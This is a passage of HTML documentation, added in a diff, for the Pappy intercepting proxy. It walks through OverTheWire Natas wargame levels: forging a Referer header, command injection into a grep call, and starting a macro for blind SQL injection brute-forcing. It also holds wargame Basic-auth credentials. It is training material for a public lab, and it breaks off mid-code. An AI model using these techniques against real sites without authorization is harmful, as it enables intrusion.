+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; filter host containsr &quot;natas\.labs\.overthewire\.org$&quot;
+pappy&gt; scope_save
+</pre></div>
+</div>
+<p>What these commands do:</p>
+<ol class="arabic simple">
+<li>Make the current context only include requests whose host ends in <code class="docutils literal"><span class="pre">natas.labs.overthewire.org</span></code>.</li>
+<li>Save the current context as the scope</li>
+</ol>
+<p>The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp <code class="docutils literal"><span class="pre">natas\.labs\.overthewire\.org$</span></code>. When we save the scope, we&#8217;re saying that any request that doesn&#8217;t pass this regexp is out of scope and shouldn&#8217;t be touched.</p>
+<p>If this doesn&#8217;t make sense, don&#8217;t worry, we&#8217;ll come back to this.</p>
+</div>
+<div class="section" id="natas-0">
+<h3><a class="toc-backref" href="#id13">Natas 0</a><a class="headerlink" href="#natas-0" title="Permalink to this headline">¶</a></h3>
+<p>First, go to <a class="reference external" href="http://natas0.natas.labs.overthewire.org">http://natas0.natas.labs.overthewire.org</a> and log in with the default creds of <code class="docutils literal"><span class="pre">natas0</span></code> / <code class="docutils literal"><span class="pre">natas0</span></code>. You should see a site that says &#8220;You can find the password for the next level on this page&#8221;. You don&#8217;t need Pappy for this one.</p>
+<ol class="arabic simple">
+<li>Right click the page and select &#8220;view source&#8221;</li>
+<li>Read the password for natas1</li>
+<li>Visit <a class="reference external" href="http://natas1.natas.labs.overthewire.org">http://natas1.natas.labs.overthewire.org</a> and log in with the username <code class="docutils literal"><span class="pre">natas1</span></code> and the password you found.</li>
+</ol>
+</div>
+<div class="section" id="natas-1">
+<h3><a class="toc-backref" href="#id14">Natas 1</a><a class="headerlink" href="#natas-1" title="Permalink to this headline">¶</a></h3>
+<p>Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There&#8217;s still ways to view the source in the browser, but we&#8217;ll use Pappy here. The commands we&#8217;ll learn here are <code class="docutils literal"><span class="pre">ls</span></code>, <code class="docutils literal"><span class="pre">vfq</span></code>, and <code class="docutils literal"><span class="pre">vfs</span></code>.</p>
+<ul class="simple">
+<li><code class="docutils literal"><span class="pre">ls</span></code> lists the most current requests that are in the current context. You&#8217;ll be using this a lot to get the IDs of requests you want to do things with.</li>
+<li><code class="docutils literal"><span class="pre">vfq</span> <span class="pre">&lt;reqid&gt;</span></code> prints the full request of a request you specify</li>
+<li><code class="docutils literal"><span class="pre">vfs</span> <span class="pre">&lt;reqid&gt;</span></code> prints the full response to a request you specify</li>
+</ul>
+<p>So to solve natas1, we&#8217;ll want to view the full response to our request to the page:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; ls
+ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+16  GET   natas1.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+15  GET   natas1.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+14  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.27  --
+13  GET   natas1.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+12  GET   natas0.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+11  GET   natas0.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.26  --
+10  GET   natas.labs.overthewire.org         /img/wechall.gif     200 OK            0        9279     0.28  --
+9   GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.50  --
+8   GET   natas.labs.overthewire.org         /js/wechall-data.js  200 OK            0        564      0.48  --
+7   GET   natas.labs.overthewire.org         /js/jquery-ui.js     200 OK            0        435844   1.37  --
+6   GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+4   GET   natas.labs.overthewire.org         /css/wechall.css     200 OK            0        677      0.48  --
+5   GET   natas.labs.overthewire.org         /css/jquery-ui.css   200 OK            0        32046    0.49  --
+3   GET   natas.labs.overthewire.org         /css/level.css       200 OK            0        1332     0.48  --
+2   GET   natas0.natas.labs.overthewire.org  /                    200 OK            0        918      0.26  --
+1   GET   natas0.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+pappy&gt; vfs 14
+
+HTTP/1.1 200 OK
+Date: Fri, 18 Dec 2015 19:47:21 GMT
+Server: Apache/2.4.7 (Ubuntu)
+Last-Modified: Fri, 14 Nov 2014 10:32:33 GMT
+ETag: &quot;427-507cf258a5240-gzip&quot;
+Accept-Ranges: bytes
+Vary: Accept-Encoding
+Content-Length: 1063
+Keep-Alive: timeout=5, max=100
+Connection: Keep-Alive
+Content-Type: text/html
+
+... snip ...
+
+&lt;!--The password for natas2 is [password] --&gt;
+
+... snip ...
+
+pappy&gt;
+</pre></div>
+</div>
+<p>Yay!</p>
+</div>
+<div class="section" id="natas-2">
+<h3><a class="toc-backref" href="#id15">Natas 2</a><a class="headerlink" href="#natas-2" title="Permalink to this headline">¶</a></h3>
+<p>When you visit this page, you get a message saying &#8220;There is nothing on this page&#8221;. That is probably a blatant lie. Let&#8217;s see what was in that response.:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; ls
+ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+30  GET   natas2.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+29  GET   natas2.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+28  GET   natas2.natas.labs.overthewire.org  /files/pixel.png     200 OK            0        303      0.27  --
+27  GET   natas2.natas.labs.overthewire.org  /                    200 OK            0        872      0.27  --
+26  GET   natas2.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+... snip ...
+pappy&gt; vfs 27
+
+HTTP/1.1 200 OK
+... snip ...
+&lt;body&gt;
+&lt;h1&gt;natas2&lt;/h1&gt;
+&lt;div id=&quot;content&quot;&gt;
+There is nothing on this page
+&lt;img src=&quot;files/pixel.png&quot;&gt;
+&lt;/div&gt;
+&lt;/body&gt;&lt;/html&gt;
+
+pappy&gt;
+</pre></div>
+</div>
+<p>So the only suspicious thing is <code class="docutils literal"><span class="pre">&lt;img</span> <span class="pre">src=&quot;files/pixel.png&quot;&gt;</span></code>. I&#8217;ll let you figure out the rest ;)</p>
+</div>
+<div class="section" id="natas-3">
+<h3><a class="toc-backref" href="#id16">Natas 3</a><a class="headerlink" href="#natas-3" title="Permalink to this headline">¶</a></h3>
+<p>This one doesn&#8217;t require Pappy. Just view the <code class="docutils literal"><span class="pre">robots.txt</span></code> file.</p>
+</div>
+<div class="section" id="finding-your-passwords-later-how-to-use-filters">
+<h3><a class="toc-backref" href="#id17">Finding Your Passwords Later (How to Use Filters)</a><a class="headerlink" href="#finding-your-passwords-later-how-to-use-filters" title="Permalink to this headline">¶</a></h3>
+<p>This section will explain how to use Pappy&#8217;s filters to find passwords to levels you&#8217;ve already completed. Every in-scope request and response that goes through Pappy is stored in the <code class="docutils literal"><span class="pre">data.db</span></code> file in your project directory. We can use filter commands to search through these requests to find resposes with passwords.</p>
+<div class="section" id="filters">
+<h4><a class="toc-backref" href="#id18">Filters</a><a class="headerlink" href="#filters" title="Permalink to this headline">¶</a></h4>
+<p>Here are the commands we&#8217;ll learn:</p>
+<ol class="arabic simple">
+<li><code class="docutils literal"><span class="pre">filter</span> <span class="pre">&lt;filter</span> <span class="pre">string&gt;</span></code> / <code class="docutils literal"><span class="pre">f</span> <span class="pre">&lt;filter</span> <span class="pre">string&gt;</span></code> Add a filter that limits which requests are included in the current context</li>
+<li><code class="docutils literal"><span class="pre">fu</span></code> Remove the most recently applied filter</li>
+<li><code class="docutils literal"><span class="pre">sr</span></code> Reset the context so that it matches the scope</li>
+<li><code class="docutils literal"><span class="pre">filter_clear</span></code> Remove all filters from the context, including the filters applied by the scope</li>
+<li><code class="docutils literal"><span class="pre">fls</span></code> Show all currently applied filters</li>
+</ol>
+<p>The most complicated of these is the <code class="docutils literal"><span class="pre">filter</span></code> command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn&#8217;t pass the filter will be removed from the context. Most filter strings are of the format <code class="docutils literal"><span class="pre">&lt;field&gt;</span> <span class="pre">&lt;comparer&gt;</span> <span class="pre">&lt;value&gt;</span></code>. For example:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="n">host</span> <span class="ow">is</span> <span class="n">www</span><span class="o">.</span><span class="n">target</span><span class="o">.</span><span class="n">org</span>
+
+<span class="n">field</span> <span class="o">=</span> <span class="s">&quot;host&quot;</span>
+<span class="n">comparer</span> <span class="o">=</span> <span class="s">&quot;is&quot;</span>
+<span class="n">value</span> <span class="o">=</span> <span class="s">&quot;www.target.org&quot;</span>
+</pre></div>
+</div>
+<p>This filter will only match requests whose host is exactly <code class="docutils literal"><span class="pre">www.target.org</span></code>. When defining our scope, we applied a filter using a <code class="docutils literal"><span class="pre">containsr</span></code> comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:</p>
+<p>Commonly used fields</p>
+<ul class="simple">
+<li><code class="docutils literal"><span class="pre">all</span></code> The full text of the request and the response</li>
+<li><code class="docutils literal"><span class="pre">host</span></code> The hostname of where the request is sent</li>
+<li><code class="docutils literal"><span class="pre">path</span></code> The target path of the request. ie <code class="docutils literal"><span class="pre">/path/to/page.php</span></code></li>
+<li><code class="docutils literal"><span class="pre">verb</span></code> The HTTP verb. ie <code class="docutils literal"><span class="pre">POST</span></code> or <code class="docutils literal"><span class="pre">GET</span></code> (case sensitive!)</li>
+<li><code class="docutils literal"><span class="pre">body</span></code> The data section (the body) of either the request or the response</li>
+</ul>
+<p>Commonly used comparers</p>
+<ul class="simple">
+<li><code class="docutils literal"><span class="pre">is</span> <span class="pre">&lt;value&gt;</span></code> The field exactly matches the value</li>
+<li><code class="docutils literal"><span class="pre">contains</span> <span class="pre">&lt;value&gt;</span></code> / <code class="docutils literal"><span class="pre">ct</span> <span class="pre">&lt;value&gt;</span></code> The field contains a value</li>
+<li><code class="docutils literal"><span class="pre">containsr</span> <span class="pre">&lt;regexp&gt;</span></code> / <code class="docutils literal"><span class="pre">ctr</span> <span class="pre">&lt;regexp&gt;</span></code> The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line</li>
+</ul>
+<p>You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation.</p>
+<p>Once you&#8217;ve applied some filters, <code class="docutils literal"><span class="pre">ls</span></code> will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use <code class="docutils literal"><span class="pre">sr</span></code>. If you want to remove the last applied filter, use <code class="docutils literal"><span class="pre">fu</span></code>.</p>
+</div>
+<div class="section" id="finding-passwords">
+<h4><a class="toc-backref" href="#id19">Finding Passwords</a><a class="headerlink" href="#finding-passwords" title="Permalink to this headline">¶</a></h4>
+<p>While we can&#8217;t find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly</p>
+<p>For natas0 and natas1, the responses had a phrase like &#8220;the password is abc123&#8221;. So we can filter out anything that doesn&#8217;t have the word &#8220;password&#8221; in it.:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; ls
+ID  Verb  Host                               Path               S-Code                 Req Len  Rsp Len  Time  Mngl
+52  GET   natas4.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.26  --
+51  GET   natas4.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+50  GET   natas4.natas.labs.overthewire.org  /                  200 OK                 0        1019     0.27  --
+49  GET   natas4.natas.labs.overthewire.org  /                  401 Unauthorized       0        479      0.26  --
+48  GET   natas3.natas.labs.overthewire.org  /s3cr3t/users.txt  200 OK                 0        40       0.27  --
+46  GET   natas3.natas.labs.overthewire.org  /icons/text.gif    200 OK                 0        229      0.53  --
+47  GET   natas3.natas.labs.overthewire.org  /icons/back.gif    200 OK                 0        216      0.53  --
+45  GET   natas3.natas.labs.overthewire.org  /icons/blank.gif   200 OK                 0        148      0.53  --
+44  GET   natas3.natas.labs.overthewire.org  /s3cr3t/           200 OK                 0        957      0.26  --
+43  GET   natas3.natas.labs.overthewire.org  /s3cr3t            301 Moved Permanently  0        354      0.27  --
+42  GET   natas3.natas.labs.overthewire.org  /robots.txt        200 OK                 0        33       0.29  --
+41  GET   natas3.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.26  --
+40  GET   natas3.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.28  --
+39  GET   natas3.natas.labs.overthewire.org  /                  200 OK                 0        923      0.26  --
+38  GET   natas3.natas.labs.overthewire.org  /                  401 Unauthorized       0        479      0.28  --
+37  GET   natas2.natas.labs.overthewire.org  /files/users.txt   200 OK                 0        145      0.28  --
+36  GET   natas2.natas.labs.overthewire.org  /icons/text.gif    200 OK                 0        229      0.47  --
+35  GET   natas2.natas.labs.overthewire.org  /icons/image2.gif  200 OK                 0        309      0.47  --
+34  GET   natas2.natas.labs.overthewire.org  /icons/back.gif    200 OK                 0        216      0.47  --
+33  GET   natas2.natas.labs.overthewire.org  /icons/blank.gif   200 OK                 0        148      0.47  --
+32  GET   natas2.natas.labs.overthewire.org  /files/            200 OK                 0        1153     0.26  --
+31  GET   natas2.natas.labs.overthewire.org  /files             301 Moved Permanently  0        353      0.27  --
+30  GET   natas2.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+29  GET   natas2.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+28  GET   natas2.natas.labs.overthewire.org  /files/pixel.png   200 OK                 0        303      0.27  --
+pappy&gt; f body ct password
+pappy&gt; ls
+ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+49  GET   natas4.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+38  GET   natas3.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.28  --
+37  GET   natas2.natas.labs.overthewire.org  /files/users.txt     200 OK            0        145      0.28  --
+26  GET   natas2.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+20  GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.47  --
+24  GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+17  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.30  --
+14  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.27  --
+13  GET   natas1.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+9   GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.50  --
+6   GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+2   GET   natas0.natas.labs.overthewire.org  /                    200 OK            0        918      0.26  --
+1   GET   natas0.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+pappy&gt;
+</pre></div>
+</div>
+<p>It looks like requests 2 and 14 are the ones we&#8217;re looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use <code class="docutils literal"><span class="pre">vfs</span></code> to look at the response and you&#8217;ll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).</p>
+<p>Anyways, back to Natas!</p>
+</div>
+</div>
+<div class="section" id="natas-4">
+<h3><a class="toc-backref" href="#id20">Natas 4</a><a class="headerlink" href="#natas-4" title="Permalink to this headline">¶</a></h3>
+<p>When we visit this page, we get an error saying that they will only display the password if we visit from <code class="docutils literal"><span class="pre">http://natas5.natas.labs.overthewire.org/</span></code>. How does a website track where you came from? The Referer header! Where&#8217;s that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we&#8217;re golden.</p>
+<p>To do this, we&#8217;ll be using Pappy&#8217;s interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we&#8217;re going to learn:</p>
+<ul class="simple">
+<li><code class="docutils literal"><span class="pre">ic</span> <span class="pre">&lt;req|rsp&gt;+</span></code> Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. <code class="docutils literal"><span class="pre">ic</span> <span class="pre">req</span></code> will only intercept requests, <code class="docutils literal"><span class="pre">ic</span> <span class="pre">rsp</span></code> will only intercept responses, and <code class="docutils literal"><span class="pre">ic</span> <span class="pre">req</span> <span class="pre">rsp</span></code> will intercept both.</li>
+</ul>
+<p>In this case, we only want to intercept requests, so we&#8217;ll run <code class="docutils literal"><span class="pre">ic</span> <span class="pre">req</span></code>:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; ic req
+</pre></div>
+</div>
+<p>And we&#8217;ll get a screen that says something like:</p>
+<div class="highlight-python"><div class="highlight"><pre>Currently intercepting: Requests
+0 item(s) in queue.
+Press &#39;n&#39; to edit the next item or &#39;q&#39; to quit interceptor.
+</pre></div>
+</div>
+<p>Now refresh the page in your browser. The page will hang like it&#8217;s taking a long time to load. Go back to Pappy, and now the interceptor will say something like:</p>
+<div class="highlight-python"><div class="highlight"><pre>Currently intercepting: Requests
+1 item(s) in queue.
+Press &#39;n&#39; to edit the next item or &#39;q&#39; to quit interceptor.
+</pre></div>
+</div>
+<p>Press <code class="docutils literal"><span class="pre">n</span></code> and the request will be opened for editing! Which editor is used is defined by the <code class="docutils literal"><span class="pre">EDITOR</span></code> environment variable. Use the text editor to add a <code class="docutils literal"><span class="pre">Referer</span></code> header (note that there&#8217;s only one r):</p>
+<div class="highlight-python"><div class="highlight"><pre>GET / HTTP/1.1
+Host: natas4.natas.labs.overthewire.org
+User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664
+Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
+Connection: keep-alive
+Cache-Control: max-age=0
+Referer: http://natas5.natas.labs.overthewire.org/
+</pre></div>
+</div>
+<p>Save and quit, then press <code class="docutils literal"><span class="pre">q</span></code> to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay!</p>
+<p>Now if you run ls, you&#8217;ll notice that the request we made has a <code class="docutils literal"><span class="pre">q</span></code> in the <code class="docutils literal"><span class="pre">Mngl</span></code> column. This means that we mangled the request. If there&#8217;s an <code class="docutils literal"><span class="pre">s</span></code> in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request <code class="docutils literal"><span class="pre">12</span></code> by using the id <code class="docutils literal"><span class="pre">u12</span></code>.</p>
+</div>
+<div class="section" id="natas-5">
+<h3><a class="toc-backref" href="#id21">Natas 5</a><a class="headerlink" href="#natas-5" title="Permalink to this headline">¶</a></h3>
+<p>This one starts with a screen saying you&#8217;re not logged in. This is fine. For this one, you&#8217;ll need to use the interceptor to edit the value of a cookie. I&#8217;ll let you figure that one out.</p>
+</div>
+<div class="section" id="natas-6">
+<h3><a class="toc-backref" href="#id22">Natas 6</a><a class="headerlink" href="#natas-6" title="Permalink to this headline">¶</a></h3>
+<p>This one you should be able to get</p>
+</div>
+<div class="section" id="natas-7">
+<h3><a class="toc-backref" href="#id23">Natas 7</a><a class="headerlink" href="#natas-7" title="Permalink to this headline">¶</a></h3>
+<p>You should get this one. Note the hint on the <a class="reference external" href="http://overthewire.org/wargames/natas/">overthewire website</a>: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.</p>
+</div>
+<div class="section" id="natas-8">
+<h3><a class="toc-backref" href="#id24">Natas 8</a><a class="headerlink" href="#natas-8" title="Permalink to this headline">¶</a></h3>
+<p>You should be able to get this one. If it sucks, google it.</p>
+</div>
+<div class="section" id="natas-9">
+<h3><a class="toc-backref" href="#id25">Natas 9</a><a class="headerlink" href="#natas-9" title="Permalink to this headline">¶</a></h3>
+<p>For this one, when you view the source you&#8217;ll notice they&#8217;re taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn:</p>
+<ul class="simple">
+<li><code class="docutils literal"><span class="pre">rp</span> <span class="pre">&lt;reqid&gt;</span></code> Open the vim repeater with the given request</li>
+<li><code class="docutils literal"><span class="pre">&lt;leader&gt;f</span></code> (In the repeater) forward the request</li>
+</ul>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">Use <code class="docutils literal"><span class="pre">:wq!</span></code> to quit the repeater without having to save buffers</p>
+</div>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key <a class="reference external" href="https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file">here</a>. By default &lt;leader&gt; is bound to <code class="docutils literal"><span class="pre">\</span></code>.</p>
+</div>
+<p>Submit a request then open that request in the repeater:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; ls
+196  GET   natas9.natas.labs.overthewire.org  /index.php?needle=ball&amp;submit=Search      200 OK            0        1686     0.27  --
+195  GET   natas9.natas.labs.overthewire.org  /index-source.html                        200 OK            0        1952     0.27  --
+... snip ...
+pappy&gt; rp 196
+</pre></div>
+</div>
+<p>Vim will open up in a vertical split with the request on the left and the response on the right.</p>
+<p>In the repeater, you edit the response on the left, then press the <code class="docutils literal"><span class="pre">&lt;leader&gt;</span></code> key then <code class="docutils literal"><span class="pre">f</span></code> to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other.</p>
+<p>In this case, we&#8217;ll be editing the <code class="docutils literal"><span class="pre">needle</span></code> get parameter. Try changing &#8220;ball&#8221; to &#8220;bill&#8221; and submitting it. You&#8217;ll notice that the output in the right window changes to contain words that have the word &#8220;bill&#8221; in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser.</p>
+<p>Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately).</p>
+</div>
+<div class="section" id="skip-a-few-natas-15">
+<h3><a class="toc-backref" href="#id26">Skip a few... Natas 15</a><a class="headerlink" href="#skip-a-few-natas-15" title="Permalink to this headline">¶</a></h3>
+<p>All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you&#8217;ll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you&#8217;re lazy and don&#8217;t want to actually do the challenges, google the password for natas15 then come back.</p>
+<p>Commands we&#8217;ll learn:</p>
+<ul class="simple">
+<li><code class="docutils literal"><span class="pre">gma</span> <span class="pre">&lt;name&gt;</span> <span class="pre">&lt;reqid(s)&gt;</span></code> Generate a macro with objects pre-defined for the given requests</li>
+<li><code class="docutils literal"><span class="pre">lma</span></code> Load macros</li>
+<li><code class="docutils literal"><span class="pre">rma</span> <span class="pre">&lt;name&gt;</span> <span class="pre">[args]</span></code> Run a macro, optionally with arguments</li>
+</ul>
+<p>So the first thing we&#8217;ll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn&#8217;t exist. Now we&#8217;ll generate a macro and use that request as a base for our script:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; ls
+ID   Verb  Host                                Path                                      S-Code            Req Len  Rsp Len  Time  Mngl
+224  POST  natas15.natas.labs.overthewire.org  /index.php                                200 OK            14       937      0.27  --
+223  POST  natas15.natas.labs.overthewire.org  /index.php                                200 OK            12       937      0.27  --
+222  GET   natas15.natas.labs.overthewire.org  /index-source.html                        200 OK            0        3325     0.28  --
+221  GET   natas15.natas.labs.overthewire.org  /favicon.ico                              404 Not Found     0        308      0.25  --
+220  GET   natas15.natas.labs.overthewire.org  /favicon.ico                              404 Not Found     0        308      0.27  --
+219  GET   natas15.natas.labs.overthewire.org  /                                         200 OK            0        1049     0.37  --
+218  GET   natas15.natas.labs.overthewire.org  /                                         401 Unauthorized  0        480      0.27  --
+... snip ...
+
+pappy&gt; gma brute 224
+Wrote script to macro_brute.py
+pappy&gt;
+</pre></div>
+</div>
+<p>Now open up <code class="docutils literal"><span class="pre">macro_brute.py</span></code> in your favorite text editor. You should have a script that looks like this:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">from</span> <span class="nn">pappyproxy.http</span> <span class="kn">import</span> <span class="n">Request</span><span class="p">,</span> <span class="n">get_request</span><span class="p">,</span> <span class="n">post_request</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.context</span> <span class="kn">import</span> <span class="n">set_tag</span>
+
+<span class="n">MACRO_NAME</span> <span class="o">=</span> <span class="s">&#39;Macro 41855887&#39;</span>
+<span class="n">SHORT_NAME</span> <span class="o">=</span> <span class="s">&#39;&#39;</span>
+
+<span class="c">###########</span>
+<span class="c">## Requests</span>
+<span class="c"># It&#39;s suggested that you call .copy() on these and then edit attributes</span>
+<span class="c"># as needed to create modified requests</span>
+<span class="c">##</span>
+
+
+<span class="n">req1</span> <span class="o">=</span> <span class="n">Request</span><span class="p">((</span>
+    <span class="s">&#39;POST /index.php HTTP/1.1</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Host: natas15.natas.labs.overthewire.org</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept-Language: en-US,en;q=0.5</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept-Encoding: gzip, deflate</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Referer: http://natas15.natas.labs.overthewire.org/</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Connection: keep-alive</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Content-Type: application/x-www-form-urlencoded</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Content-Length: 14</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;username=admin&#39;</span>
+<span class="p">))</span>
+
+
+<span class="k">def</span> <span class="nf">run_macro</span><span class="p">(</span><span class="n">args</span><span class="p">):</span>
+    <span class="c"># Example:</span>
+    <span class="c"># req = req0.copy() # Copy req0</span>
+    <span class="c"># req.submit() # Submit the request to get a response</span>
+    <span class="c"># print req.response.raw_headers # print the response headers</span>
+    <span class="c"># req.save() # save the request to the data file</span>
+    <span class="c"># or copy req0 into a loop and use string substitution to automate requests</span>
+    <span class="k">pass</span>
+</pre></div>
+</div>
+<p>Pappy will generate a script and create a <code class="docutils literal"><span class="pre">Request</span></code> object that you can use. Check out the real documentation to see everything you can do with a <code class="docutils literal"><span class="pre">Request</span></code> object. For now you just need to know a few things about it:</p>
+<ul class="simple">
+<li><a class="reference internal" href="pappyproxy.html#pappyproxy.http.Request.submit" title="pappyproxy.http.Request.submit"><code class="xref py py-func docutils literal"><span class="pre">submit()</span></code></a> Submit the request and store the response object</li>
+<li><a class="reference internal" href="pappyproxy.html#pappyproxy.http.Request.save" title="pappyproxy.http.Request.save"><code class="xref py py-func docutils literal"><span class="pre">save()</span></code></a> Save the request/response to the data file</li>
+<li><code class="docutils literal"><span class="pre">post_params</span></code> A <a class="reference internal" href="pappyproxy.html#pappyproxy.http.RepeatableDict" title="pappyproxy.http.RepeatableDict"><code class="xref py py-class docutils literal"><span class="pre">RepeatableDict</span></code></a> that represents the post parameters of the request. Can set/get prameters the same way as a dictionary.</li>
+</ul>
+<p>It is suggested you go through the documentation to learn the rest of the attributes/functions.</p>
+<p>To start out simple, we&#8217;ll write a macro that lets us check a username from the Pappy console. To define a function, you define the <code class="docutils literal"><span class="pre">run_macro</span></code> function. The function is passed a list of arguments which represent the arguments entered. Here a <code class="docutils literal"><span class="pre">run_macro</span></code> function that we can define that will check if a user exists:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="k">def</span> <span class="nf">run_macro</span><span class="p">(</span><span class="n">args</span><span class="p">):</span>
+    <span class="n">to_check</span> <span class="o">=</span> <span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="c"># get the username to check</span>
+    <span class="n">r</span> <span class="o">=</span> <span class="n">req1</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span> <span class="c"># make a copy of the base request</span>
+    <span class="n">r</span><span class="o">.</span><span class="n">post_params</span><span class="p">[</span><span class="s">&#39;username&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">to_check</span> <span class="c"># set the username param of the request</span>
+    <span class="n">r</span><span class="o">.</span><span class="n">submit</span><span class="p">()</span> <span class="c"># submit the request</span>
+    <span class="k">if</span> <span class="s">&quot;This user doesn&#39;t exist.&quot;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">response</span><span class="o">.</span><span class="n">raw_data</span><span class="p">:</span> <span class="c"># check if the username is valid</span>
